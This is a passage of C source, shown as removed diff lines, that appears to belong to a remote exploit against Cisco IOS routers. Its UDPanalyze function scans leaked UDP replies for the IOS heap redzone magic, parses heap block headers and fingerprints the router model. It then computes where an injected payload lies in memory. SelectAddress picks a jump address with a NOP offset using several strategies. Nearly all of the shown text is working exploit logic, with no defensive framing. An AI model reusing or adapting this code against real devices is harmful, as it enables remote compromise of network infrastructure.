- }
-
-
- void UDPanalyze(unsigned char *b, unsigned int len,
- unsigned char *expected, unsigned int expected_length) {
- #define ST_MAGIC 1
- #define ST_PID 2
- #define ST_CHECK 3
- #define ST_NAME 4
- #define ST_PC 5
- #define ST_NEXT 6
- #define ST_PREV 7
- #define ST_SIZE 8
- #define ST_REF 9
- #define ST_LASTDE 10
- #define ST_ID_ME_NOW 100
- unsigned char *p;
- int state=0;
- int i=0;
-
- unsigned char *opcode_begin;
- unsigned char *block2_next_field;
- unsigned int block3_next_val;
-
- unsigned int p_name;
- unsigned int p_pc;
- unsigned int p_next;
- unsigned int p_prev;
-
-
- opcode_begin=NULL;
- block2_next_field=NULL;
- block3_next_val=0;
-
- if ((!memcmp(b,expected,expected_length))) {
- if (cfg.verbose>1) printf("Payload found!\n");
- opcode_begin=b;
- }
-
- p=b;
- while ((b+len-4)>p) {
-
- if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) {
- if (cfg.verbose>1) printf("REDZONE MATCH!\n");
- else { printf("!"); fflush(stdout); }
- state=ST_MAGIC;
- p+=4;
- }
-
- switch (state) {
- case ST_MAGIC:
- if (cfg.verbose)
- printf("MEMORY BLOCK\n");
- state++;
- p+=4;
- break;
-
- case ST_PID:
- if (cfg.verbose)
- printf("\tPID : %08X\n",ntohl(*(unsigned int *)p));
- state++;
- p+=4;
- break;
-
- case ST_CHECK:
- if (cfg.verbose)
- printf("\tAlloc Check: %08X\n",ntohl(*(unsigned int *)p));
- state++;
- p+=4;
- break;
-
- case ST_NAME:
- p_name=ntohl(*(unsigned int *)p);
- if (cfg.verbose)
- printf("\tAlloc Name : %08X\n",p_name);
- state++;
- p+=4;
- break;
-
- case ST_PC:
- p_pc=ntohl(*(unsigned int *)p);
- if (cfg.verbose)
- printf("\tAlloc PC : %08X\n",p_pc);
- state++;
- p+=4;
- break;
-
- case ST_NEXT:
- p_next=ntohl(*(unsigned int *)p);
- if (cfg.verbose)
- printf("\tNEXT Block : %08X\n",p_next);
- if (block2_next_field==NULL) {
- if (cfg.verbose) printf("Assigning as block2_next_field\n");
- block2_next_field=p;
- } else if (block3_next_val==0) {
- if (cfg.verbose) printf("Assigning as block3_next_val\n");
- block3_next_val=p_next;
- }
- state++;
- p+=4;
- break;
-
- case ST_PREV:
- p_prev=ntohl(*(unsigned int *)p);
- if (cfg.verbose)
- printf("\tPREV Block : %08X\n",p_prev);
- state++;
- p+=4;
- break;
-
- case ST_SIZE:
- if (cfg.verbose)
- printf("\tBlock Size : %8u words",
- ntohl(*(unsigned int *)p)&0x7FFFFFFF);
- if (ntohl(*(unsigned int *)p)&0x80000000) {
- if (cfg.verbose)
- printf(" (Block in use)\n");
- } else {
- if (cfg.verbose)
- printf(" (Block NOT in use)\n");
- }
- state++;
- p+=4;
- break;
-
- case ST_REF:
- if (cfg.verbose)
- printf("\tReferences : %8u\n",ntohl(*(unsigned int *)p));
- state++;
- p+=4;
- break;
-
- case ST_LASTDE:
- if (cfg.verbose)
- printf("\tLast DeAlc : %08X\n",ntohl(*(unsigned int *)p));
- state=ST_ID_ME_NOW;
- p+=4;
- break;
-
- //
- // Identification
- //
- case ST_ID_ME_NOW:
-
- i=0;
- while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) {
- if (
- (p_name>=cisco_boxes[i].PC_start) &&
- (p_name<=cisco_boxes[i].PC_end) &&
- (p_pc>=cisco_boxes[i].PC_start) &&
- (p_pc<=cisco_boxes[i].PC_end) &&
- (p_next>=cisco_boxes[i].IO_start) &&
- (p_next<=cisco_boxes[i].IO_end) &&
- (p_prev>=cisco_boxes[i].IO_start) &&
- (p_prev<=cisco_boxes[i].IO_end)
- ) {
- leak.guess=i;
- break;
- }
- i++;
- }
- state=0;
- p+=4;
- break;
-
- default:
- p+=1;
-
- }
- }
-
- if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) {
- unsigned int delta;
- unsigned int a;
- unsigned int i;
- int flag=0;
-
- delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin);
- a=block3_next_val-delta;
-
- if (cfg.verbose) {
- printf("\n");
- printf("Delta between opcode_begin (%p) "
- "and block2_next_field (%p) is %u\n",
- (void*)block2_next_field, (void*)opcode_begin, delta);
- printf("The third block is at 0x%08X\n", block3_next_val);
- printf("Therefore, the code should be located at 0x%08X\n",a);
- }
-
- for (i=0;i<leak.addrc;i++) {
- if (leak.addrs[i].a==a) {
- leak.addrs[i].count++;
- flag++;
- break;
- }
- }
- if ((flag==0)&&(leak.addrc<MAXADDRS-1)) {
- leak.addrs[leak.addrc++].a=a;
- leak.addrs[leak.addrc].count=1;
- leak.lastaddr=a;
- }
- }
- }
-
-
- unsigned int SelectAddress(void) {
- unsigned int the_address;
- int rnd_addr;
- unsigned int i,j;
- addrs_t atmp;
- addrs_t consider[MAXADDRS];
- unsigned int consc=0;
-
- if (leak.addrc==0) {
- fprintf(stderr,"ERROR: No addresses available. Unable to recover\n");
- return 0;
- }
- for (i=0;i<leak.addrc;i++)
- printf(" Address 0x%08X (%u times)\n",
- leak.addrs[i].a,
- leak.addrs[i].count);
-
- //
- // put addresses to consider in another array.
- // We only want those above our threshold, to prevent irregular buffers
- //
- memset(&consider,0,sizeof(consider));
- for (i=0;i<leak.addrc;i++) {
- if (leak.addrs[i].count<LOW_COUNT_THR) {
- printf("Address 0x%08X count below threshold\n",
- leak.addrs[i].a);
- continue;
- }
- consider[consc]=leak.addrs[i];
- consc++;
- }
-
- //
- // bubble sort addresses, unless we are operating count based, where we
- // sort by times of appearences
- //
- if (cfg.strategy != S_FREQUENT) {
- for (i=0;i<consc-1;i++) {
- for (j=0;j<(consc-1-i);j++) {
- if (consider[j+1].a < consider[j].a) {
- atmp=consider[j];
- consider[j] = consider[j+1];
- consider[j+1] = atmp;
- }
- }
- }
- } else {
- for (i=0;i<consc-1;i++) {
- for (j=0;j<(consc-1-i);j++) {
- if (consider[j+1].count < consider[j].count) {
- atmp=consider[j];
- consider[j] = consider[j+1];
- consider[j+1] = atmp;
- }
- }
- }
- }
-
- printf("Cleaned up, remaining addresses %u\n",consc);
- if (consc==0) {
- fprintf(stderr,"ERROR: No addresses left. Unable to recover\n"
- "You can try to decrease LOW_COUNT_THR in the source\n");
- return 0;
- }
- for (i=0;i<consc;i++)
- printf(" Address 0x%08X (%u times)\n",
- consider[i].a,
- consider[i].count);
-
-
-
- switch (cfg.strategy) {
- case S_RANDOM:
- {
- srand((unsigned long)time(NULL));
- rnd_addr=(int)(((float)consc-1)*rand()/(RAND_MAX+1.0));
- the_address=consider[rnd_addr].a + leak.nop_offset;
- printf("Use pseudo-randomly selected address 0x%08X (0x%08X)\n",
- the_address,consider[rnd_addr].a);
- }
- break;
- case S_LAST:
- {
- the_address=leak.lastaddr + leak.nop_offset;
- printf("Using last address 0x%08X\n",the_address);
- }
- break;
- case S_SMALLEST:
- {
- if (consc==1) {
- the_address= consider[0].a + leak.nop_offset;
- printf("Using smallest address 0x%08X (0x%08X)\n",
- the_address,consider[0].a);
- } else if (consc==2) {
- the_address= consider[1].a + leak.nop_offset;
- printf("Using second smallest address 0x%08X (0x%08X)\n",
- the_address,consider[1].a);
- } else {
- the_address= consider[2].a + leak.nop_offset;
- printf("Using third smallest address 0x%08X (0x%08X)\n",
- the_address,consider[2].a);
- }
- }
- break;
- case S_HIGHEST:
- {
- the_address= consider[consc-1].a + leak.nop_offset;
- printf("Using highest address 0x%08X (0x%08X)\n",
- the_address,consider[consc-1].a);
- }
- break;
- case S_FREQUENT:
- {
- // already sorted by frequency
- the_address= consider[consc-1].a + leak.nop_offset;
- printf("Using most frequent address 0x%08X (0x%08X)\n",
- the_address,consider[consc-1].a);
- }
- break;
- default:
- fprintf(stderr,"ERROR: unknown address strategy selected\n");
- return (0);
- }
-
- return the_address;
- }
-